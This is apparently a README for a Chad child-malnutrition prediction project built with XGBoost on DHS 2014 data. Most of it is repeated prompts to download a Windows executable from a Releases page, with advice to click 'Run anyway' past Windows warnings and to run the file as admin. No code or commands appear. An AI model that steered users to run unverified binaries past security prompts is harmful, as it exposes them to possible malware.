📉 Chad-malnutrition-prediction - Predict child risk with data

🚀 What this app does

Chad-malnutrition-prediction helps estimate the risk of child malnutrition in Chad using survey data from DHS 2014.

It uses a machine learning model built for public health analysis. The model was tested on 9,826 children and reached 92% accuracy and an AUC of 0.979.

The app is useful if you want a simple way to review child nutrition risk data without setting up a full data science tool chain.

📥 Download the app

Visit the release page to download and run this file:

Go to Releases

On that page, look for the latest release and download the Windows file attached to it.

🖥️ What you need

Before you start, make sure you have:

• A Windows PC
• An internet connection
• Enough free disk space for the app and data files
• Permission to save and open downloaded files

If the release includes a zipped folder, you will also need the built-in Windows unzip tool or a file extractor.

🧭 How to install and run on Windows

1. Open the Releases page
2. Find the newest release at the top
3. Download the file for Windows
4. If the file is in a .zip folder, right-click it and choose Extract All
5. Open the extracted folder
6. Double-click the app file to start it
7. If Windows asks for permission, choose Run anyway if you trust the source
8. Wait for the app to load, then follow the on-screen steps

If the release includes an installer, open the installer file and follow the prompts until setup ends.

🧪 What the model uses

The app uses child and household survey data to estimate malnutrition risk. It is based on common public health signals such as:

• Age
• Weight and growth indicators
• Household context
• Nutrition-related survey fields
• Child health factors from DHS data

The model uses gradient boosting, which combines many small decision rules to make one prediction.

📊 Why this project matters

Child malnutrition is a serious public health issue in Chad. The project is built around a real need: helping people spot risk patterns from survey data.

The repository focuses on:

• Child health
• Nutrition
• Machine learning
• Public health analysis
• African health data
• Chad and Sahel region context

🧰 Basic use case

This app is built for end users who want to:

• Review malnutrition risk predictions
• Explore child health data
• Support nutrition research
• Work with DHS-based survey results
• Use a simple Windows program instead of a full coding setup

📂 Typical files in the release

A Windows release may include items like:

• .exe app file
• .zip archive
• README or setup notes
• Data folder
• Results folder
• Model file

If you see several files, start with the one marked as the main app or installer.

🛠️ How to use the app

After you open the app:

1. Load the provided data file, if the app asks for one
2. Choose the child record or survey set you want to review
3. Start the prediction step
4. View the risk result on screen
5. Save or copy the output if needed

If the app gives you a report, the result may show a risk score or a class label such as low, medium, or high risk.

📌 Tips for first-time users

• Use the latest release
• Keep all files in the same folder
• Do not rename files unless the release notes tell you to
• If the app closes when you click it, try running it again as admin
• If Windows blocks the file, check the download came from the release page
• If a folder contains both data and model files, leave them together

🔍 Project details

• Repository: Chad-malnutrition-prediction
• Domain: child nutrition and public health
• Country focus: Chad
• Data source: DHS 2014 survey data
• Model type: gradient boosting
• Reported performance: 92% accuracy, 0.979 AUC
• Sample size: 9,826 children
• Topic areas: Africa, Chad, child health, machine learning, malnutrition, nutrition, public health, Python, Sahel, XGBoost

❓ Common questions

Does this work on Windows?

Yes. The release page is the main place to download the Windows version.

Do I need coding skills?

No. You only need to download the file and open it on your PC.

What if I do not know which file to use?

Choose the newest Windows file in the latest release. If there is an installer, use that first.

Can I use this without the internet after download?

If all needed files are inside the release, the app may run offline after you download it.

What if the app asks for data?

Use the included data file or follow the files in the release folder.

📎 Download again

Visit the Releases page to download

📘 File layout example

A typical folder may look like this:

• Chad-malnutrition-prediction.exe
• data
• models
• output
• README.md

Keep the folder structure as it is when you open the app

🔐 Safe download steps

1. Open the release link
2. Check that the repository name matches this project
3. Download the latest Windows file
4. Save it to a folder you can find later
5. Open the file from that folder
6. If the file is zipped, extract it first
7. Run the app from the extracted folder